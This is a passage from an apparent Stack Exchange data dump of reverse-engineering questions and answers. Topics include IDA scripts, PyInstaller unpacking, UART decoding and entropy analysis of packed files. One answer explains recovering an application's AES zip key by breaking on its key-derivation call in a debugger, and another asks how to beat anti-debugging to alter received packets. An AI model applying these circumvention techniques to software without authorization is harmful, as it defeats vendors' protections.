74  20  73  65  72  76  65  64  e   i s   b e s t   s e r v e d &#xA;&#xA;20  63  6f  6c  64  7d  00  00  00  00  00  00  00  00  00  00    c o l d }                     &#xA;&#xA;xormem.py&amp;gt; Finished!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-06-25T07:17:47.270" LastActivityDate="2019-06-25T07:17:47.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21542" PostTypeId="2" ParentId="21534" CreationDate="2019-06-25T12:03:37.937" Score="1" Body="&lt;p&gt;I successfully dumped all the dlls using &lt;a href=&quot;https://github.com/CodeCracker-Tools/MegaDumper&quot; rel=&quot;nofollow noreferrer&quot;&gt;MegaDumper&lt;/a&gt;, I had to compile it myself since there are no binaries provided.&lt;/p&gt;&#xA;" OwnerUserId="28808" LastActivityDate="2019-06-25T12:03:37.937" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21544" PostTypeId="2" ParentId="21535" CreationDate="2019-06-25T13:14:57.227" Score="4" Body="&lt;p&gt;I'm writing this answer under the assumption the OP is within his legal rights to share the binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of, I read up on password protected zip files. Apparently that is not part of the ZIP specification itself but an invention of WinZip. They have documented their format modifications and all details on this page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.winzip.com/win/en/aes_info.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.winzip.com/win/en/aes_info.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Important to notice here is how key derivation works. It feeds the given password through PKBDF2 with an iteration count of 1000 to derive the real key used in AES.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using PEiD I checked for crypto signatures and found 4 references to AES (via their sbox). I then checked the surrounding code where these AES functions are used and stumbled upon a function call that got 1000 as an argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So then I just ran the binary with an attached debugger, breaking on that call. Then I inspected passed arguments and the first argument appeared to be the key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I successfully decompressed the female zip file with the key to confirm.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;How to derive that key?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Note that the algorithm used by the program seems to be a bit more complex. If you check the zip files, not all files in there are encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two XML files are unencrypted and contain an XML property named &lt;code&gt;encryption key&lt;/code&gt;, which looks similar to the real one above, but different bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The application probably uses this property to deduce the above key which is eventually fed to AES to decrypt the encrypted files in the same archive. I do not know how this internal derivation works. You would have to find the code, probably by following the XML parser if you want to write a generic tool to decompress these encrypted files.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastEditorUserId="1323" LastEditDate="2019-07-12T17:54:31.303" LastActivityDate="2019-07-12T17:54:31.303" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21545" PostTypeId="1" CreationDate="2019-06-25T15:51:15.957" Score="0" ViewCount="724" Body="&lt;p&gt;I'd like to export the Hex View generated from IDA to a file with the addresses intact similar to the &lt;code&gt;.LST&lt;/code&gt; files generated for assembly instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest I've come to generating this file is to select all and then export as a string. However this doesn't save the addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to produce this data? &lt;/p&gt;&#xA;" OwnerUserId="28829" LastActivityDate="2019-06-26T19:11:14.643" Title="IDA freeware (v7.0) exporting Hex-View A" Tags="|ida|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21546" PostTypeId="2" ParentId="21526" CreationDate="2019-06-25T16:00:59.010" Score="1" Body="&lt;p&gt;Although &lt;code&gt;lldb&lt;/code&gt; help doesn't explicitly state &lt;code&gt;gdb&lt;/code&gt;'s &lt;code&gt;info functions&lt;/code&gt; equivalent, it shows the command mapped from &lt;code&gt;info function &amp;lt;FUNC_REGEX&amp;gt;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nonetheless, you may realise that &lt;code&gt;info functions&lt;/code&gt; in &lt;code&gt;gdb&lt;/code&gt; gives you the same output as &lt;code&gt;info function .*&lt;/code&gt;, where &lt;code&gt;.*&lt;/code&gt; is the regular expression that matches every function name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, from &lt;a href=&quot;https://lldb.llvm.org/use/map.html#executable-and-shared-library-query-commands&quot; rel=&quot;nofollow noreferrer&quot;&gt;GDB to LDB command map&lt;/a&gt; you get two corresponding commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;image lookup -r -n &amp;lt;FUNC_REGEX&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;image lookup -r -s &amp;lt;FUNC_REGEX&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the first one will find debug symbols matching &lt;code&gt;&amp;lt;FUNC_REGEX&amp;gt;&lt;/code&gt;, while the second one: non-debug symbols matching this regular expression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The combination of both with &lt;code&gt;&amp;lt;FUNC_REGEX&amp;gt;&lt;/code&gt; equal &lt;code&gt;.*&lt;/code&gt; should give you the desired result. &lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-06-25T16:00:59.010" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21547" PostTypeId="1" CreationDate="2019-06-25T17:08:09.037" Score="4" ViewCount="306" Body="&lt;p&gt;When I use IDA, I can use stdin from the file as in bash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VWm5F.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VWm5F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried to do it in OllyDbg, it processed the parameters simply as a string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mrhAd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mrhAd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I redirect stdin in OllyDbg?&lt;/p&gt;&#xA;" OwnerUserId="28831" LastActivityDate="2019-06-25T17:08:09.037" Title="How to redirect stdin in OllyDbg?" Tags="|debugging|ollydbg|debuggers|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21548" PostTypeId="1" CreationDate="2019-06-25T18:01:04.893" Score="1" ViewCount="1139" Body="&lt;p&gt;I have reverse engineered exe file using pyinstxtractor.py script.&#xA;There were around 1120 files in PYZ archive.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F:\Python Test&amp;gt;python pyinstxtractor.py test.exe&#xA;[*] Processing test.exe&#xA;[*] Pyinstaller version: 2.1+&#xA;[*] Python version: 27&#xA;[*] Length of package: 4992914 bytes&#xA;[*] Found 11 files in CArchive&#xA;[*] Beginning extraction...please standby&#xA;[+] Possible entry point: pyiboot01_bootstrap&#xA;[+] Possible entry point: pyi_rth_multiprocessing&#xA;[+] Possible entry point: pyi_rth_pkgres&#xA;[+] Possible entry point: pyi_rth_win32comgenpy&#xA;[+] Possible entry point: pyi_rth__tkinter&#xA;[+] Possible entry point: gui&#xA;[*] Found 1120 files in PYZ archive&#xA;[*] Successfully extracted pyinstaller archive: test.exe&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have found the entry point that is gui file , and decompiled that file to source code after update of header bytes in hex editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question is when i try to repack using this command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pyinstaller gui.py &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;, the resultant exe doesn't have those 1120 files in its PYZ archive ( becoz i again extracted the contents of my final exe file).&#xA;How can i embed that PYZ folder into this exe?&lt;/p&gt;&#xA;" OwnerUserId="28635" LastActivityDate="2020-01-13T11:32:02.057" Title="How to create executable (create build) from original decompiled exe?" Tags="|python|exe|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21550" PostTypeId="2" ParentId="21545" CreationDate="2019-06-26T15:42:27.383" Score="2" Body="&lt;p&gt;i don't think you have a ready made dumper with rebased addresss intact in ida hexview&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but you can improvise the idc Script Below to dump the bytes with Address intact &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(this script was used in Idafree 5.0 long back so you may need to refresh the Function/syntax (idafree 5 was 32 bit idafree 7 is now 64 Bit so may be somethings change i don't know)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;auto min;&#xA;auto count;&#xA;auto fhandle;&#xA;&#xA;count = 0;&#xA;fhandle = fopen(&quot;c:\\idahexviewa.txt&quot; , &quot;wb&quot;);&#xA;min =MinEA();&#xA;&#xA;for ( min ; min &amp;lt; min + 16 ; min = NextAddr(min) )&#xA;{&#xA;    if(min == BADADDR )&#xA;    {&#xA;        break;&#xA;    } &#xA;&#xA;    if(count == 0) &#xA;    {&#xA;        fprintf( fhandle, &quot;%s:%x &quot; SegName(min), min);        &#xA;    }&#xA;&#xA;    fprintf( fhandle , &quot;%02x &quot; , Byte(min));&#xA;    count = count+1;&#xA;&#xA;    if( count == 16) &#xA;    {&#xA;       count = 0;&#xA;       fprintf(fhandle, &quot;\n&quot;);&#xA;    } &#xA;&#xA;}    &#xA;fclose(fhandle);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;head -n 2 idahexviewa.txt&#xA;HEADER:2000000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00&#xA;HEADER:2000010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00&#xA;&#xA;C:\&amp;gt;tail -n 2 idahexviewa.txt&#xA;.data:20581e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;.data:20581f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;&#xA;C:\&amp;gt;wc -l idahexviewa.txt&#xA;22528 idahexviewa.txt&#xA;&#xA;C:\&amp;gt;powershell -c &quot;\&quot;{0:x}\&quot; -f (22528 * 16)&quot;&#xA;58000&#xA;&#xA;some 200 bytes appear to be missing so the hexview must have some hole&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-06-26T19:11:14.643" LastActivityDate="2019-06-26T19:11:14.643" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21553" PostTypeId="1" CreationDate="2019-06-27T02:01:29.627" Score="2" ViewCount="3121" Body="&lt;p&gt;I'm trying to break into a doorbell. It has a clearly labeled TX pin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the output from my Labrador oscilloscope/logic analyzer.. I can't get it to make any sense though. Any ideas? I have the settings at 9600 baud/8/N. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EK48F.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EK48F.png&quot; alt=&quot;output from labrador&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8057" LastActivityDate="2019-06-28T14:13:58.433" Title="Help decoding this UART serial signal" Tags="|serial-communication|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21554" PostTypeId="2" ParentId="21513" CreationDate="2019-06-27T02:16:11.287" Score="2" Body="&lt;p&gt;You can do it pretty easily with find_binary and set_name, just a matter of iterating over your patterns and searching for them. IDA supports wildcards in binary patterns too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should give you a good idea on how to do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;patterns = {&#xA;    &quot;fn1&quot;: &quot;AA BB CC DD EE ? ? ?&quot;,&#xA;    &quot;fn2&quot;: &quot;BB CC DD EE FF ? ? ? AA&quot;,&#xA;    ...&#xA;}&#xA;&#xA;for name, pattern in patterns.items():&#xA;    ea = idc.find_binary(0, ida_search.SEARCH_DOWN, pattern)&#xA;&#xA;    if ea == ida_idaapi.BADADDR:&#xA;        # not found&#xA;        break&#xA;&#xA;    idc.set_name(ea, name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28611" LastEditorUserId="28611" LastEditDate="2019-06-27T05:30:26.390" LastActivityDate="2019-06-27T05:30:26.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21555" PostTypeId="1" AcceptedAnswerId="21564" CreationDate="2019-06-27T02:21:25.273" Score="5" ViewCount="11861" Body="&lt;p&gt;I am new to reversing and I see a tool &lt;a href=&quot;https://github.com/horsicq/Detect-It-Easy&quot; rel=&quot;noreferrer&quot;&gt;Detect It Easy&lt;/a&gt; and it has a feature called &lt;em&gt;Entropy&lt;/em&gt;. I want to know what it is used for?&lt;/p&gt;&#xA;" OwnerUserId="28809" LastEditorUserId="245" LastEditDate="2019-06-27T11:56:20.700" LastActivityDate="2019-06-28T12:16:39.560" Title="What is an entropy graph" Tags="|entropy|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21556" PostTypeId="1" CreationDate="2019-06-27T06:21:32.253" Score="1" ViewCount="542" Body="&lt;p&gt;I want to set breakpoint on the &lt;code&gt;recv&lt;/code&gt; function to replace the received packets. But, I can not put breakpoint on any instruction in the program, the process simply closes with code 4000001f. I also tried a hardware breakpoint, but that doesn't help.&#xA;I have installed TitanHide plugins etc. but also without result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use x32dbg (32 bit target program). And recently read &lt;a href=&quot;http://waleedassar.blogspot.com/2013/01/wow64-specific-anti-debug-trick.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt;.&#xA;But x64 debugger does not allow to open x32 application. What could be the problem?&lt;/p&gt;&#xA;" OwnerUserId="28843" LastEditorUserId="245" LastEditDate="2019-06-27T11:43:00.230" LastActivityDate="2019-06-27T11:43:00.230" Title="Process terminating when breakpoint reached" Tags="|ollydbg|anti-debugging|x64dbg|breakpoint|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21558" PostTypeId="2" ParentId="21555" CreationDate="2019-06-27T07:19:56.330" Score="5" Body="&lt;p&gt;Entropy is interpreted as the Degree of Disorder or Randomness &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a high entropy means a highly disordered set of data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a low entropy means an ordered set of data &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to address the comments&lt;br&gt;&#xA;order here does not mean 'a' following 'a' kind of order  it is to be interpreted as random / non random state of certain data  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;aaaabbbbccccdddd&lt;/strong&gt;  or &lt;strong&gt;&quot;abcdabcdabcdabcd&quot;&lt;/strong&gt; or &lt;strong&gt;&quot;adbcadbcadbcadbc&quot;&lt;/strong&gt; is a repetitive string whose entropy will be greater than&lt;br&gt;&#xA;&lt;strong&gt;aaaaaaaabbbbcccd&lt;/strong&gt;  or any shuffled representation of this string      &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the first string and its shuffled clones all have 4 chars with equal probability &lt;strong&gt;4/16 or 1/4 or 25%&lt;/strong&gt;&lt;br&gt;&#xA;but in the second string char &lt;strong&gt;'a'  (8/16 ) or half of the data set&lt;/strong&gt; has the highest probability&lt;br&gt;&#xA;while &lt;strong&gt;'c' (1/16) has the least&lt;/strong&gt; or a very minuscule probability       &lt;/p&gt;&#xA;&#xA;&lt;p&gt;entropy is a thermodynamic concept that was introduced to digital science (information theory) &#xA;as a means to calculate how random a set of data is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;simply put the highest compressed data will have the highest entropy &lt;/p&gt;&#xA;&#xA;&lt;p&gt;where all the 255 possible bytes will have equal frequencies &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie if 0x00 was seen 10 times in a blob &#xA;0x10 or 0x80 or 0xff will all be seen 10 times in the same blob&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that is the blob will be a repeated sequence comprising of all bytes between of 0x0..0xff&lt;/p&gt;&#xA;&#xA;&lt;p&gt;while a low entropy blob will have a repeated sequence comprising only of a certain byte like  0x00  0r  0x55  or two bytes 0x0d0a  ox222e etc or any series one less than 255  possible byte sequences&lt;/p&gt;&#xA;&#xA;&lt;p&gt;taking an algo from &lt;a href=&quot;https://stackoverflow.com/questions/15450192/fastest-way-to-compute-entropy-in-python&quot;&gt;here&lt;/a&gt; and modifying it a little &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import math&#xA;from collections import Counter&#xA;base = {&#xA;    'shannon' : 2.,&#xA;    'natural' : math.exp(1),&#xA;    'hartley' : 10.,&#xA;    'somrand'   : 256.&#xA;    }&#xA;def eta(data, unit):&#xA;    if len(data) &amp;lt;= 1:&#xA;        return 0&#xA;    counts = Counter()&#xA;    for d in data:&#xA;        counts[d] += 1&#xA;        ent = 0&#xA;        probs = [float(c) / len(data) for c in counts.values()]&#xA;        for p in probs:&#xA;            if p &amp;gt; 0.:&#xA;                ent -= p * math.log(p, base[unit])&#xA;    return ent&#xA;hes = &quot;abcde\x80\x90\xff\xfe\xde&quot;&#xA;les = &quot;aaaaa\x61\x61\x61\x61\x61&quot;&#xA;print (&quot;=======================================================================================================&quot;)&#xA;print (&quot; type      ent for hes                 hes                      ent for les            les&quot;)&#xA;print (&quot;=======================================================================================================&quot;)&#xA;for i in base:&#xA;    for j in range(1,4,1):&#xA;        print (i ,' ', eta( j*hes,i) , '\t', (hes*j + (30 -j *10) *&quot; &quot; ) , ' ' , eta (j*les , i) ,'\t',  (&quot;%s&quot; % les*j )) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can see  'abcde\x80.....' is high entropy while 'aaaaa\x61...' is low entropy &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;python foo.py&#xA;=======================================================================================================&#xA; type      ent for hes                 hes               ent for les            les&#xA;=======================================================================================================&#xA;shannon   3.321928094887362      abcdeÿþÞ                   0.0    aaaaaaaaaa&#xA;shannon   3.321928094887362      abcdeÿþÞabcdeÿþÞ           0.0    aaaaaaaaaaaaaaaaaaaa&#xA;shannon   3.321928094887362      abcdeÿþÞabcdeÿþÞabcdeÿþÞ   0.0    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#xA;natural   2.3025850929940455     abcdeÿþÞ                   0.0    aaaaaaaaaa&#xA;natural   2.3025850929940455     abcdeÿþÞabcdeÿþÞ           0.0    aaaaaaaaaaaaaaaaaaaa&#xA;natural   2.3025850929940455     abcdeÿþÞabcdeÿþÞabcdeÿþÞ   0.0    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#xA;hartley   0.9999999999999998     abcdeÿþÞ                   0.0    aaaaaaaaaa&#xA;hartley   0.9999999999999998     abcdeÿþÞabcdeÿþÞ           0.0    aaaaaaaaaaaaaaaaaaaa&#xA;hartley   0.9999999999999998     abcdeÿþÞabcdeÿþÞabcdeÿþÞ   0.0    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#xA;somrand   0.4152410118609203     abcdeÿþÞ                   0.0    aaaaaaaaaa&#xA;somrand   0.4152410118609203     abcdeÿþÞabcdeÿþÞ           0.0    aaaaaaaaaaaaaaaaaaaa&#xA;somrand   0.4152410118609203     abcdeÿþÞabcdeÿþÞabcdeÿþÞ   0.0    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-06-27T17:59:03.427" LastActivityDate="2019-06-27T17:59:03.427" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21559" PostTypeId="2" ParentId="21555" CreationDate="2019-06-27T08:30:31.197" Score="4" Body="&lt;p&gt;Just to add (small) piece of information to @blabb and @Johann Aydinbas answers, here is the cite from &lt;em&gt;Practical Malware Analysis&lt;/em&gt; book regarding your question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Packed executables can also be detected via a technique known as entropy&#xA;  calculation. Entropy is a measure of the disorder in a system or program [...] &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Compressed or encrypted data more closely resembles random data,&#xA;  and therefore has high entropy; executables that are not encrypted or compressed have lower entropy. Automated tools for detecting packed programs often use heuristics like entropy.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can find additional information &lt;a href=&quot;http://n10info.blogspot.com/2014/06/entropy-and-distinctive-signs-of-packed.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, under &lt;strong&gt;Increased entropy&lt;/strong&gt; header.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-06-27T08:30:31.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21560" PostTypeId="1" AcceptedAnswerId="21575" CreationDate="2019-06-27T08:30:48.087" Score="1" ViewCount="308" Body="&lt;p&gt;I'm disassembling some mpcXXXX microcontroller firmware, and I'm trying to find the vector table and the reset interrupt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I know that in ARM, in some of the microcontrollers, the vector table is stored in 0x0 address, and the reset ISR is pointed as the first entry of the vector table, as shown in the picture below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8JTtt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8JTtt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to find the similar in PPC microcontrollers? I went through the documentation and references, but couldn't find the answer. I suspect it could also be at 0x0 offset, however, the first memory segment in IDA starts at 0x20000 in my case.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2019-06-28T14:24:02.417" Title="vector table address in mpcXXXX microcontrollers" Tags="|firmware|embedded|powerpc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21561" PostTypeId="2" ParentId="21555" CreationDate="2019-06-27T08:55:31.207" Score="0" Body="&lt;p&gt;First, you have to know that the term &lt;em&gt;entropy&lt;/em&gt; is used to refer to two different concepts which are somehow related if you think twice, but as it is really not obvious at first sight, you should prefer to consider these two as different concepts.&lt;/p&gt;&#xA;&lt;h2&gt;Defining Entropy ?&lt;/h2&gt;&#xA;&lt;p&gt;The entropy that you want to know about can be defined as &lt;a href=&quot;https://en.wikipedia.org/wiki/Entropy_(order_and_disorder)&quot; rel=&quot;nofollow noreferrer&quot;&gt;the amount of order, disorder, or chaos in a thermodynamic system&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, the &lt;em&gt;other&lt;/em&gt; entropy is coming from information theory and can be seen as &lt;a href=&quot;https://en.wikipedia.org/wiki/Entropy_(information_theory)&quot; rel=&quot;nofollow noreferrer&quot;&gt;a measure of the amount of information that can be stored in a system&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Why is it useful in RE ?&lt;/h1&gt;&#xA;&lt;p&gt;An entropy graph (to evaluate the amount of disorder) can be useful to detect the parts of the file that get close to random data. It will allow to detect the parts that have been encrypted/compressed and the parts that appear to be left untouched.&lt;/p&gt;&#xA;&lt;p&gt;Indeed, a high disorder in data is exactly what you want to achieve when encrypting data. And, I told you that the two entropy definitions were related, if you store a lot of information in a minimum of bytes, it appears to be with a high level of disorder, so is compression...&lt;/p&gt;&#xA;&lt;p&gt;That is why we use entropy graphs of files, be able to distinguish raw parts from encrypted/compressed sub-parts without any prior information of the file format.&lt;/p&gt;&#xA;&lt;h1&gt;An Example&lt;/h1&gt;&#xA;&lt;p&gt;For example, here is an entropy graph from the tool &lt;code&gt;binwalk&lt;/code&gt; coming from &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/16939/decompress-and-analyse-vmware-efi64-bios&quot;&gt;another question from here&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dtSg2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dtSg2.png&quot; alt=&quot;Binwalk entropy graph&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Directly from this graph we can see that there is a first part that appear to be raw (probably asm opcodes if we look at the shape of the curve), then a part which is much likely encrypted (compression does not reach an entropy of 1 with such regularity usually), and finally padding with always the same byte (e.g. &lt;code&gt;0x00&lt;/code&gt; or &lt;code&gt;0xff&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-06-28T12:16:39.560" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="21563" PostTypeId="2" ParentId="21555" CreationDate="2019-06-27T14:09:42.867" Score="3" Body="&lt;p&gt;Shannon's entropy comes from information theory. It is the measure of degree of randomness of text. If a string has greater Shannon's entropy it means it's a strong password. Principally, Shannon entropy equation provides a way to predict the average minimum number of bits required to encode a string of symbols, based on the frequency of the symbols. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OuGIB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OuGIB.png&quot; alt=&quot;Formula for base 2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the base represents the number of possible characters. Base 2 can be replaced by any base. As can be seen in this code where it's replaced by 255.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This link has a simplest implementation of the algorithm for calculating entropy of novels and religious books. It tells us a lot. For example, that all the human generated books have nearly identical degree of fluctuation between disorder. It is a good feature of data.&#xA;This is the link to code mentioned above.&#xA;&lt;a href=&quot;https://github.com/QuantumNovice/ShanonEntropyOfBooks&quot; rel=&quot;nofollow noreferrer&quot;&gt;Information Entropy of different Books&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28845" LastActivityDate="2019-06-27T14:09:42.867" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21564" PostTypeId="2" ParentId="21555" CreationDate="2019-06-27T14:10:32.147" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;it has a feature called Entropy. I want to know what it is used for?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For our purposes, entropy can be though of as information density or as a measure of randomness in information, which is what makes it useful in the context of reverse engineering and binary analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compressed and encrypted data have higher entropy than e.g. code or text data. In fact, compressed and encrypted data have close to the maximum possible level of entropy, which can be used as a heuristic to identify it as such in order to differentiate it from non-compressed/non-encrypted data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example use cases in reverse engineering:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Malware Analysis&lt;/strong&gt; - If we have an executable which has a header that can be parsed successfully and the program loads and runs without error, but the overall entropy level of the file is very high and the code can't be analyzed statically because the data outside of the file header and program headers looks random (hence the high entropy), it probably means that the executable is in fact compressed on disk and is decompressed at runtime. Executable compression complicates analysis, so it is a relatively common feature of programs developed for criminal purposes. If we want to analyze the code, its decompressed form need to be recovered somehow.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Firmware Analysis&lt;/strong&gt; - In systems with relatively severe hardware constraints, such as embedded systems, firmware updates are often delivered in compressed form in order to save space. In order to analyse the firmware, it first needs to be determined whether it is encrypted or compressed. One way to determine this is through performing an entropy analysis of the file. If the entropy is very high, it is a good sign that the file is indeed compressed or encrypted. To proceed with analysis of the actual firmware, it must first be decompressed/decrypted. If we have a block of data with very high entropy (i.e. close to random), it makes no sense to try to treat it as code and disassemble it, because the results will be meaningless nonsense. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;File Type Identification&lt;/strong&gt; - Some file types can be identified on the basis of their overall entropy. For example, we can usually differentiate between image files (png, jpeg, etc) and compiled binaries (ELF, PE) because image files consist of compressed data and therefore (generally) have much higher entropy than compiled binaries.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Besides &quot;Detect It Easy&quot;, tools such as &lt;code&gt;binwalk&lt;/code&gt;, &lt;code&gt;ent&lt;/code&gt; and binvis.io can assist with calculating file entropy. You can also build your own tools that do this. &lt;/p&gt;&#xA;" 